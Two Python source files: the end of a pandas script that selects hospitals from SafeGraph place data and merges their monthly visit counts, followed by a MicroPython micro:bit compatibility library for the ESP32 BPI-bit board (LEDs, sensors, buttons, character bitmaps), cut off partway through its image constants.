pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2021/02/04/06/'+files, dtype = {'naics_code':str,'postal_code':str}) temp = temp.loc[temp.naics_code.str[:3] == '622',:] temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True) df = pd.concat([df, temp_df], axis = 0, ignore_index=True) df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:] temp_df = pd.DataFrame() for files in file_lists: temp = pd.read_csv('/Volumes/LaCie/cg-data/CorePlaces/core_poi/2021/02/08/08/'+files, dtype = {'naics_code':str,'postal_code':str}) temp = temp.loc[temp.naics_code.str[:3] == '622',:] temp_df = pd.concat([temp_df, temp], axis = 0, ignore_index=True) df = pd.concat([df, temp_df], axis = 0, ignore_index=True) df = df.loc[~df.duplicated(subset = ['safegraph_place_id']),:] df.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/hospital.pickle') df = pd.read_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/hospital.pickle') cols = ['safegraph_place_id','location_name','top_category','naics_code', 'latitude','longitude','city','region'] df = df.loc[:,cols] df = df.loc[(df.region != "AS") & (df.region != "GU") & (df.region != "PR") & (df.region != "VI"),:] df.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/POI.pickle') # Filter Hospital using monthly visitng data df = pd.read_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/POI.pickle') df = df.loc[:,['safegraph_place_id']] years = ['2018','2019'] months = pd.date_range(start='2018-01-01', end='2018-12-31',freq= 'M') months = list(months.strftime('%m')) list_files = ['patterns-part1.csv.gz','patterns-part2.csv.gz', 'patterns-part3.csv.gz','patterns-part4.csv.gz'] year = years[0] month = months[0] files = list_files[0] for year in years: for month in months: start_time_month = time.time() temp = pd.DataFrame() for files in list_files: temp_df = pd.read_csv('/Volumes/LaCie/cg-data/Pattern_1/'+year+'/'+month+'/'+files, usecols = ['safegraph_place_id','raw_visit_counts'], compression = 'gzip') temp = pd.concat([temp, temp_df], axis = 0, ignore_index=True) df = df.merge(temp, how = 'left', on = 'safegraph_place_id') df.rename(columns = {'raw_visit_counts':year+'-'+month}, inplace = True) print("Done", year+'-'+month) print("%f seconds" % (time.time() - start_time_month)) df.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/temp/temp1.pickle.gz', compression = 'gzip') year = '2020' for month in ['01','02','03','04']: start_time_month = time.time() temp = pd.DataFrame() for files in list_files: temp_df = pd.read_csv('/Volumes/LaCie/cg-data/Pattern_1/'+year+'/'+month+'/'+files, usecols = ['safegraph_place_id','raw_visit_counts'], compression = 'gzip') temp = pd.concat([temp, temp_df], axis = 0, ignore_index=True) df = df.merge(temp, how = 'left', on = 'safegraph_place_id') df.rename(columns = {'raw_visit_counts':year+'-'+month}, inplace = True) print("Done", year+'-'+month) print("%f seconds" % (time.time() - start_time_month)) df.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/temp/temp1.pickle.gz', compression = 'gzip') directories = ['/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/06/05/06/', '/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/07/06/06/', '/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/08/05/09/', '/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/09/04/09/', '/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/10/07/02/', '/Volumes/LaCie/cg-data/Pattern_2/patterns/2020/11/06/11/', '/Volumes/LaCie/cg-data/Pattern_3/patterns/2020/12/04/04/', '/Volumes/LaCie/cg-data/Pattern_3/patterns/2021/01/06/10/', '/Volumes/LaCie/cg-data/Pattern_3/patterns/2021/02/04/06/'] months = ['2020-05','2020-06','2020-07','2020-08','2020-09','2020-10','2020-11','2020-12', '2021-01'] i = 0 for directory in directories: start_time_month = time.time() temp = pd.DataFrame() month = months[i] for files in list_files: temp_df = pd.read_csv(directory+files, usecols = ['safegraph_place_id','raw_visit_counts'], compression = 'gzip') temp = pd.concat([temp, temp_df], axis = 0, ignore_index=True) df = df.merge(temp, how = 'left', on = 'safegraph_place_id') df.rename(columns = {'raw_visit_counts':month}, inplace = True) i += 1 print("Done", month) print("%f seconds" % (time.time() - start_time_month)) df.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/temp/temp2.pickle.gz', compression = 'gzip') df = pd.read_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/temp/temp2.pickle.gz') poi = pd.read_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/POI.pickle') hospital = poi.loc[poi.top_category == 'General Medical and Surgical Hospitals',:] hospital = hospital.merge(df, how = 'left', on = 'safegraph_place_id') hospital.loc[:,'2018'] = hospital.iloc[:,20-12:20].sum(axis = 1) hospital.loc[:,'2019'] = hospital.iloc[:,20:20+12].sum(axis = 1) hospital.loc[:,'2020'] = hospital.iloc[:,20+12:20+12+12].sum(axis = 1) hospital = hospital.loc[hospital.loc[:,'2018']>0,:] hospital = hospital.loc[hospital.loc[:,'2019']>0,:] hospital = hospital.loc[hospital.loc[:,'2019'] > 100,:] hospital = hospital.loc[hospital.loc[:,'2018'] > 100,:] hospital = hospital.loc[hospital.loc[:,'2019'] < hospital.loc[:,'2019'].quantile(.995),:] hospital.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/selected_poi.pickle')

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b381c8c90bf6cc50f55fba4563ec39264b370f7c

34,710

py

Python

mpBuild/ESP32_BPI_bit/lib/microbit.py

devshop2019/mixlyTest

bb92771aca2d5d801510658a70a13f4b548a43aa

[ "Apache-2.0" ]

1

2019-09-08T08:43:35.000Z

mpBuild/ESP32_BPI_bit/lib/microbit.py

devshop2019/mixlyTest

bb92771aca2d5d801510658a70a13f4b548a43aa

[ "Apache-2.0" ]

null

mpBuild/ESP32_BPI_bit/lib/microbit.py

devshop2019/mixlyTest

bb92771aca2d5d801510658a70a13f4b548a43aa

[ "Apache-2.0" ]

null

from time import time, sleep_ms from utime import sleep_ms as sleep from machine import Pin, ADC, DAC from neopixel import NeoPixel def PixelPower(bool): Pin(2, Pin.OUT).value(bool) class Pixel(NeoPixel): def __init__(self): self.Min, self.Max, self.Sum = 0, 5, 25 NeoPixel.__init__(self, Pin(4), self.Sum, 3, 1) def LoadXY(self, X, Y, RGB, isSoftWare = True): if self.Min <= X and X < self.Max and self.Min <= Y and Y < self.Max: if isSoftWare: # SoftWare coordinate system self[int(Y) + ((self.Max - 1) - int(X)) * self.Max] = RGB # left and top is (0, 0) else: # Hardware coordinate system self[(int(X)) + int(Y) * self.Max] = RGB # right and top is (0, 0) else: pass # print('Pixel Load Over Limit') def LoadPos(self, Pos, RGB): if self.Min <= Pos and Pos < self.Sum: self[Pos] = RGB else: pass # print('Pixel Load Over Limit') def Show(self): self.write() class Accelerometer: def __init__(self, sensor): self.sensor = sensor self.old, self.new, self.eliminate = [0]*3, [0]*3, 2 def get_x(self): return self.sensor.acceleration[0] * 5 def get_y(self): return self.sensor.acceleration[1] * 5 def get_z(self): return self.sensor.acceleration[2] * 5 def get_values(self): self.old = self.new self.new = self.sensor.acceleration return self.new def get_state(self): tmp = [0]*3 for i in range(3): tmp[i] = self.new[i] - self.old[i] tmp[i] = 0 if abs(tmp[i]) < self.eliminate else tmp[i] return tmp class Direction(Accelerometer): idle, ing, end, = 0, 1, 2 def __init__(self, sensor): Accelerometer.__init__(self, sensor) self.r_state, self.l_state, self.f_state, self.b_state, = Direction.idle, Direction.idle, Direction.idle, Direction.idle def get_direction(self, delay=30): sleep_ms(delay) super().get_values() tem = super().get_state() x_state, y_state, z_state = tem[0], tem[1], tem[2] result = [] if self.r_state == Direction.idle and x_state > 0 and self.new[0] > 2.5: self.r_count = 0 self.r_state = Direction.ing if self.r_state == Direction.ing: # print('Direction.ing') self.r_count += 1 if self.r_count > 10: self.r_state = Direction.idle elif x_state < 0 and self.old[0] > 2.5: self.r_state = Direction.end if self.r_state == Direction.end: # print('Direction.end') self.r_count += 1 if self.r_count > 20: self.r_state = Direction.idle elif x_state > 0 and self.old[0] < -2.5: result.append('right') self.r_state = Direction.idle if self.l_state == Direction.idle and x_state < 0 and self.new[0] < -2.5: self.l_count = 0 self.l_state = Direction.ing if self.l_state == Direction.ing: # print('Direction.ing') self.l_count += 1 if self.l_count > 10: self.l_state = Direction.idle elif x_state > 0 and self.old[0] < -2.5: self.l_state = Direction.end if self.l_state == Direction.end: # print('Direction.end') self.l_count += 1 if self.l_count > 20: self.l_state = Direction.idle elif x_state < 0 and self.old[0] > 2.5: result.append('left') self.l_state = Direction.idle if self.f_state == Direction.idle and y_state > 0 and self.new[1] > 2.5: self.f_count = 0 self.f_state = Direction.ing if self.f_state == Direction.ing: # print('Direction.ing') self.f_count += 1 if self.f_count > 10: self.f_state = Direction.idle elif y_state < 0 and self.old[1] > 2.5: self.f_state = Direction.end if self.f_state == Direction.end: # print('Direction.end') self.f_count += 1 if self.f_count > 20: self.f_state = Direction.idle elif y_state > 0 and self.old[1] < -2.5: result.append('forward') self.f_state = Direction.idle if self.b_state == Direction.idle and y_state < 0 and self.new[1] < -2.5: self.b_count = 0 self.b_state = Direction.ing if self.b_state == Direction.ing: # print('Direction.ing') self.b_count += 1 if self.b_count > 10: self.b_state = Direction.idle elif y_state > 0 and self.old[1] < -2.5: self.b_state = Direction.end if self.b_state == Direction.end: # print('Direction.end') self.b_count += 1 if self.b_count > 20: self.b_state = Direction.idle elif y_state < 0 and self.old[1] > 2.5: result.append('backwards') self.b_state = Direction.idle return None if len(result) != 1 else result[0] def was_gesture(self, gesture="shake"): print("was_gesture will be supported in the future.") def is_gesture(self, gesture="shake"): print("is_gesture will be supported in the future.") def get_gestures(self): print("get_gestures will be supported in the future.") def current_gesture(self): print("current_gesture will be supported in the future.") class Button: def __init__(self, pin_id): from machine import Pin self.pin = Pin(pin_id, Pin.IN) self.irq = self.pin.irq(trigger=Pin.IRQ_FALLING, handler=self.__irq_sc) self.presses = 0 def __irq_sc(self, p): # print(self, p) self.presses += 1 def close(self): self.irq.trigger(0) def reset(self): self.presses = 0 def get_presses(self): return self.presses def is_pressed(self): return self.pin.value() == 0 def was_pressed(self): return self.presses != 0 class Compass: RAD_TO_DEG = 57.295779513082320876798154814105 def __init__(self, sensor): self.sensor = sensor def get_x(self): return self.sensor.magnetic[0] def get_y(self): return self.sensor.magnetic[1] def get_z(self): return self.sensor.magnetic[2] def get_field_strength(self): return self.sensor.magnetic def heading(self): from math import atan2 xyz = self.sensor.magnetic return int(((atan2(xyz[1], xyz[0]) * Compass.RAD_TO_DEG) + 180) % 360) def calibrate(self): if self.is_calibrate() is False: print('The calibration need to shaking in the air (e.g. 8 or 0) and waiting for a moment') self.sensor.ak8963.calibrate() with open("compass_cfg.py", "w") as f: f.write('\n_offset = ' + str(self.sensor.ak8963._offset) + '\n_scale = ' + str(self.sensor.ak8963._offset)) else: print('The calibration configuration already exists. If you need to recalibrate, enter os.remove("compass_cfg.py") in repl and restart') try: import compass_cfg self.sensor.ak8963._offset = compass_cfg._offset self.sensor.ak8963._scale = compass_cfg._scale except Exception as e: print('compass_cfg error! delete it, please.') def is_calibrate(self): try: import compass_cfg return True except Exception as e: return False PixelPower(True) CharData = { '!': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], '"': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0], '#': [0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0], '$': [0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0], '%': [1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1], '&': [0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0], "'": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0], '(': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0], '@': [0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0], ')': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0], '*': [0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0], '+': [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], ',': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], '-': [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], '.': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0], '/': [1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1], '0': [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0], '1': [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0], '2': [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1], '3': [0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0], '4': [0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0], '5': [1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1], '6': [0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0], '7': [1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1], '8': [0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0], '9': [0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0], ':': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0], ';': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], '<': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], '=': [0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0], '>': [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0], '?': [0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0], 'A': [0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1], 'B': [0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1], 'C': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0], 'D': [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1], 'E': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1], 'F': [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1], 'G': [0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0], 'H': [0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1], 'I': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1], 'J': [1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0], 'K': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1], 'L': [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], 'M': [1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1], 'N': [1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1], 'O': [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0], 'P': [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1], 'Q': [0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0], 'R': [0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1], 'S': [0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1], 'T': [1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0], 'U': [0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0], 'V': [1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0], 'W': [1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1], 'X': [0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1], 'Y': [1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0], 'Z': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1], '[': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0], "\\": [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0], ']': [0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0], '^': [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], '_': [0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1], '`': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], 'a': [0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0], 'b': [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1], 'c': [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0], 'd': [0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0], 'e': [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0], 'f': [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0], 'g': [0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0], 'h': [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1], 'i': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0], 'j': [0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0], 'k': [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1], 'l': [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0], 'm': [0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1], 'n': [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1], 'o': [0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0], 'p': [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1], 'q': [0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0], 'r': [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1], 's': [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1], 't': [0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0], 'u': [0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0], 'v': [0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0], 'w': [0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1], 'x': [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1], 'y': [0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1], 'z': [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1], '{': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], '|': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0], '}': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1], '~': [0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0], ' ': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] } black = [0, 0, 0] Red = [2, 0, 0] Orange = [2, 1, 0] Yellow = [2, 2, 0] Green = [0, 2, 0] Blue = [0, 0, 2] Indigo = [0, 2, 2] Purple = [2, 0, 2] Zero = [black] * 5 class Image: def __init__(self, str): self.tem = [0] * 25 self.seq = [20, 15, 10, 5, 0, 21, 16, 11, 6, 1, 22, 17, 12, 7, 2, 23, 18, 13, 8, 3, 24, 19, 14, 9, 4] self.num = 0 it = iter(self.seq) for val in str: if val != ':': self.tem[next(it)] = int(val) def __iter__(self): self.num = 0 return self # 实例本身就是迭代对象，故返回自己 def __next__(self): value = self.tem[self.num] self.num += 1 return value # 返回下一个值 def copy(self): print("copy will be supported in the future.") def invert(self): for i in range(self.tem): self.tem[i] = 0 if self.tem[i] != 0 else 1 return self HEART = [0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0] HEART_SMALL = [0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0] HAPPY = [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0] SMILE = [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0] SAD = [0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1] CONFUSED = [0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1] ANGRY = [1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1] ASLEEP = [0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0] SURPRISED = [0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0] SILLY = [1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0] FABULOUS = [1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0] MEH = [0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0] YES = [0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0] NO = [1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1] CLOCK12 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] CLOCK11 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0] CLOCK10 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0] CLOCK9 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 